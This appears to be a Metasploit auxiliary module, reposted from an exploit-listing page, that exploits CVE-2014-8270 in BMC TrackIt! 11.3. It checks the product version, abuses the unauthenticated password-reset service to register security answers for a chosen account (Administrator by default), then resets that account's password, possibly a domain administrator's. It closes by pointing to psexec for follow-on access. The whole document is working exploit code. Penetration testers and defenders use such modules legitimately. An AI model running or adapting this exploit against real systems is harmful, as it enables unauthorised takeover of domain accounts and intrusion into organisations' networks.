Share
## https://sploitus.com/exploit?id=PACKETSTORM:181182
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'BMC TrackIt! Unauthenticated Arbitrary User Password Change',  
'Description' => %q(  
This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.3  
and possibly prior versions. If the password reset service is configured to use  
a domain administrator (which is the recommended configuration), then domain  
credentials can be reset (such as domain Administrator).  
),  
'References' =>  
[  
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-14-419/'],  
['CVE', '2014-8270']  
],  
'Author' =>  
[  
'bperry', # discovery/metasploit module,  
'jhart'  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2014-12-09'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']),  
OptString.new('LOCALUSER', [true, 'The user to change password for', 'Administrator']),  
OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']),  
OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', ''])  
])  
end  
  
def localuser  
datastore['LOCALUSER']  
end  
  
def password_reset  
begin  
uri = normalize_uri(target_uri.path, 'PasswordReset')  
send_request_cgi('uri' => uri)  
rescue => e  
vprint_error("#{peer}: unable to request #{uri}: #{e}")  
nil  
end  
end  
  
def check_host(ip)  
vprint_status("#{peer}: retrieving PasswordReset page to extract Track-It! version")  
  
unless (res = password_reset)  
return  
end  
  
if res.body =~ /<title>Track-It! Password Reset/i  
version = res.body.scan(/\bBuild=([\d\.]+)/).flatten.first  
if version  
fix_version = '11.4'  
if Rex::Version.new(version) < Rex::Version.new(fix_version)  
report_vuln(  
host: ip,  
port: rport,  
name: name,  
info: "Module #{fullname} detected Track-It! version #{version}",  
refs: references  
)  
vprint_status("#{peer}: Track-It! version #{version} is less than #{fix_version}")  
return Exploit::CheckCode::Vulnerable  
else  
vprint_status("#{peer}: Track-It! version #{version} is not less than #{fix_version}")  
return Exploit::CheckCode::Safe  
end  
else  
vprint_error("#{peer}: unable to get Track-It! version")  
return Exploit::CheckCode::Unknown  
end  
else  
vprint_status("#{peer}: does not appear to be running Track-It!")  
return Exploit::CheckCode::Safe  
end  
end  
  
def run_host(ip)  
return unless check_host(ip) == Exploit::CheckCode::Vulnerable  
  
if datastore['DOMAIN'].blank?  
vprint_status("#{peer}: retrieving session cookie and domain name")  
else  
vprint_status("#{peer}: retrieving domain name")  
end  
  
unless (res = password_reset)  
return  
end  
  
cookies = res.get_cookies  
if datastore['DOMAIN'].blank?  
if res.body =~ /"domainName":"([^"]*)"/  
domain = Regexp.last_match(1)  
vprint_status("#{peer}: found domain name: #{domain}")  
else  
print_error("#{peer}: unable to obtain domain name. Try specifying DOMAIN")  
return  
end  
else  
domain = datastore['DOMAIN']  
end  
  
full_user = "#{domain}\\#{localuser}"  
vprint_status("#{peer}: registering #{full_user}")  
answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ]  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),  
'method' => 'POST',  
'cookie' => cookies,  
'vars_post' => {  
'domainname' => domain,  
'userName' => localuser,  
'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',  
'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),  
'updatequesChk' => 'false',  
'SelectedQuestion' => 2,  
'answer' => answers.last,  
'confirmanswer' => answers.last  
}  
)  
  
if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}"  
print_error("#{peer}: Could not register #{full_user}")  
return  
end  
  
vprint_status("#{peer}: changing password for #{full_user}")  
  
if datastore['LOCALPASS'].blank?  
password = Rex::Text.rand_text_alpha(10) + "!1"  
else  
password = datastore['LOCALPASS']  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'),  
'method' => 'POST',  
'cookie' => cookies,  
'vars_post' => {  
'newPassword' => password,  
'domain' => domain,  
'UserName' => localuser,  
'CkbResetpassword' => 'true'  
}  
)  
  
if !res || res.body != '{"success":true,"data":{"PasswordResetStatus":0}}'  
print_error("#{peer}: Could not change #{full_user}'s password -- is it a domain or local user?")  
return  
end  
  
report_vuln(  
host: ip,  
port: rport,  
name: name,  
info: "Module #{fullname} changed #{full_user}'s password to #{password}",  
refs: references  
)  
print_good("#{peer}: Please run the psexec module using #{full_user}:#{password}")  
end  
end